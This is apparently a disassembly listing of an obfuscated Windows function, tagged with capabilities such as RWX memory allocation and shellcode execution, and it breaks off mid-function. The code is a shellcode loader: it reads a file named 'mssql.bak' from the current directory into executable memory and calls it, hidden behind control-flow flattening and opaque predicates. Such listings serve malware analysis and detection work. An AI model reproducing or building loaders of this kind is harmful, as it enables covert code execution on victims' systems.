Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Read file on windows

Disassembly:
push rbp
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001050
jmp 0x140002bfd
mov eax, 0x10
mov qword [rbp], rax
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x58], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x50], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x48], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x40], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x38], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x30], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x28], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x20], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 0x18], rcx
call fcn.140006850
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x110
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp - 8], rcx
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp]
mov rcx, rsp
mov qword [rbp + 8], rcx
call fcn.140006850
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov dword [rax], 0xbb3
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001185
jmp 0x140002bfd
jmp 0x14000118a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400011bc
jmp 0x140002cad
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400011ee
jmp 0x140002cad
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001220
jmp 0x140002764
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001252
jmp 0x140002cb2
mov rax, qword [rbp + 0x10]
mov eax, dword [rax]
mov dword [rbp - 0x5c], eax
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000128d
jmp 0x140002cb2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400012bf
jmp 0x140002764
mov eax, dword [rbp - 0x5c]
sub eax, 0x99
je 0x140001cd7
jmp 0x1400012d2
mov eax, dword [rbp - 0x5c]
sub eax, 0x124
je 0x140001e26
jmp 0x1400012e5
mov eax, dword [rbp - 0x5c]
sub eax, 0xbb3
je 0x140001496
jmp 0x1400012f8
mov eax, dword [rbp - 0x5c]
sub eax, 0xf3e
je 0x140001be9
jmp 0x14000130b
mov eax, dword [rbp - 0x5c]
sub eax, 0x12db
je 0x140001813
jmp 0x14000131e
mov eax, dword [rbp - 0x5c]
sub eax, 0x153c
je 0x1400018d6
jmp 0x140001331
mov eax, dword [rbp - 0x5c]
sub eax, 0x2ea6
je 0x14000164c
jmp 0x140001344
mov eax, dword [rbp - 0x5c]
sub eax, 0x305e
je 0x140001f61
jmp 0x140001357
mov eax, dword [rbp - 0x5c]
sub eax, 0x390c
je 0x140001bcc
jmp 0x14000136a
mov eax, dword [rbp - 0x5c]
sub eax, 0x440d
je 0x14000210e
jmp 0x14000137d
mov eax, dword [rbp - 0x5c]
sub eax, 0x491c
je 0x140002302
jmp 0x140001390
mov eax, dword [rbp - 0x5c]
sub eax, 0x4d06
je 0x14000246c
jmp 0x1400013a3
mov eax, dword [rbp - 0x5c]
sub eax, 0x4db7
je 0x14000261c
jmp 0x1400013b6
mov eax, dword [rbp - 0x5c]
sub eax, 0x7e87
je 0x140001a11
jmp 0x1400013c9
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400013fb
jmp 0x140002cb7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000142d
jmp 0x140002cb7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000145f
jmp 0x1400027cd
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001491
jmp 0x1400027cd
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400014c8
jmp 0x140002cbc
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400014fa
jmp 0x140002cbc
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000152c
jmp 0x1400027d2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000155e
jmp 0x140002cc1
mov rcx, qword [rbp - 0x20]
mov eax, 0x10
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp + 0x10]
mov rdx, rsp
mov qword [rcx], rdx
mov dword [rax], 0x2ea6
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400015b1
jmp 0x140002cc1
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400015e3
jmp 0x1400027d2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001615
jmp 0x140002ce7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001647
jmp 0x140002ce7
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000167e
jmp 0x140002cec
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400016b0
jmp 0x140002cec
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400016e2
jmp 0x14000285c
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov r8, qword [rbp - 0x30]
mov r9, qword [rbp - 0x28]
mov eax, 0x10
mov qword [rbp - 0x68], rax
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r10, rsp
mov qword [r9], r10
call fcn.140006850
sub rsp, rax
mov rax, qword [rbp - 0x10]
mov r9, rsp
mov qword [r8], r9
lea r8, str.mssql.bak
mov qword [rcx], r8
mov qword [rax], 0
mov ecx, 0x104
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, qword [rbp - 8]
add rsp, 0x20
mov edx, 0x104
lea r8, [0x14001a36a]
sub rsp, 0x20
call fcn.14000acf0
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x38]
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x12db
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400017aa
jmp 0x14000285c
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400017dc
jmp 0x140002cf1
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000180e
jmp 0x140002cf1
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001845
jmp 0x140002cf6
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x38]
mov r8, qword [rax]
mov edx, 0x104
sub rsp, 0x20
call fcn.14000acf0
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp - 8]
add rsp, 0x20
mov qword [rcx], 0
lea r8, [0x14001a36c]
sub rsp, 0x20
call fcn.14000ae18
add rsp, 0x20
mov r8d, eax
mov rax, qword [rbp + 0x10]
mov ecx, 0x7e87
mov edx, 0x153c
cmp r8d, 0
cmovne ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400018d1
jmp 0x140002cf6
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001908
jmp 0x140002d55
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000193a
jmp 0x140002d55
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000196c
jmp 0x1400028f7
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x4db7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400019a8
jmp 0x1400028f7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400019da
jmp 0x140002d5a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001a0c
jmp 0x140002d5a
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001a43
jmp 0x140002d5f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001a75
jmp 0x140002d5f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001aa7
jmp 0x14000296a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001ad9
jmp 0x140002d64
mov rdx, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
lea r8, [0x14001a36e]
sub rsp, 0x20
call fcn.14000ae18
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x390c
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001b31
jmp 0x140002d64
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001b63
jmp 0x14000296a
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001b95
jmp 0x140002d8f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001bc7
jmp 0x140002d8f
jmp 0x14000275f
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0xf3e
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001c1b
jmp 0x140002d94
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001c4d
jmp 0x140002d94
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001c7f
jmp 0x140002995
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rdx, qword [rdx]
cmp rdx, 0
sete dl
and dl, 1
mov byte [rcx], dl
mov dword [rax], 0x99
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001cd2
jmp 0x140002995
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001d09
jmp 0x1400029bb
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001d3b
jmp 0x140002d99
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x48]
mov r8b, byte [rcx]
mov ecx, 0x305e
mov edx, 0x124
test r8b, 1
cmovne ecx, edx
mov dword [rax], ecx
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001d8b
jmp 0x140002d99
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001dbd
jmp 0x1400029bb
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001def
jmp 0x140002dbc
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001e21
jmp 0x140002dbc
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001e58
jmp 0x140002dc1
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001e8a
jmp 0x140002dc1
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001ebc
jmp 0x140002a42
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x4db7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001ef8
jmp 0x140002a42
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001f2a
jmp 0x140002dc6
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001f5c
jmp 0x140002dc6
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001f93
jmp 0x140002dcb
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001fc5
jmp 0x140002dcb
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140001ff7
jmp 0x140002a51
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002029
jmp 0x140002dd0
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x440d
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002073
jmp 0x140002dd0
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400020a5
jmp 0x140002a51
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400020d7
jmp 0x140002ded
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002109
jmp 0x140002ded
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002140
jmp 0x140002df2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002172
jmp 0x140002df2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400021a4
jmp 0x140002ad2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400021d6
jmp 0x140002df7
mov rax, qword [rbp - 0x50]
mov rcx, qword [rax]
xor edx, edx
mov r8d, 2
sub rsp, 0x20
call fcn.14000b148
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000b704
mov rcx, qword [rbp - 0x20]
add rsp, 0x20
mov edx, eax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rcx]
mov dword [rcx], edx
mov rcx, qword [rax]
xor r8d, r8d
sub rsp, 0x20
mov edx, r8d
call fcn.14000b148
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x491c
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002267
jmp 0x140002df7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002299
jmp 0x140002ad2
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400022cb
jmp 0x140002e5b
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400022fd
jmp 0x140002e5b
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002334
jmp 0x140002e60
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002366
jmp 0x140002e60
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002398
jmp 0x140002b36
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
movsxd rdx, dword [rax]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
add rsp, 0x20
mov r9, rax
mov rax, qword [rbp - 0x28]
mov r8, qword [rax]
mov qword [r8], r9
mov r9, qword [rdx]
mov rcx, qword [rcx]
movsxd r8, dword [rcx]
mov rax, qword [rax]
mov rcx, qword [rax]
mov edx, 1
sub rsp, 0x20
call fcn.14000b9fc
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000bbe8
mov r8, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x58]
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov r8, qword [r8]
mov r9, qword [r8]
mov r8, qword [rdx]
mov qword [r8], r9
mov rdx, qword [rdx]
mov rdx, qword [rdx]
mov qword [rcx], rdx
mov dword [rax], 0x4d06
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002467
jmp 0x140002b36
jmp 0x14000275f
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x14000249e
jmp 0x140002e65
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x1400024d0
jmp 0x140002e65
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002502
jmp 0x140002bd8
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002534
jmp 0x140002e6a
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
sub rsp, 0x20
call rax
mov rax, qword [rbp + 0x10]
add rsp, 0x20
mov dword [rax], 0x4db7
mov eax, dword [0x140025ce4]
mov ecx, dword [0x140025ce0]
mov edx, eax
sub edx, 1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
or al, cl
test al, 1
jne 0x140002581
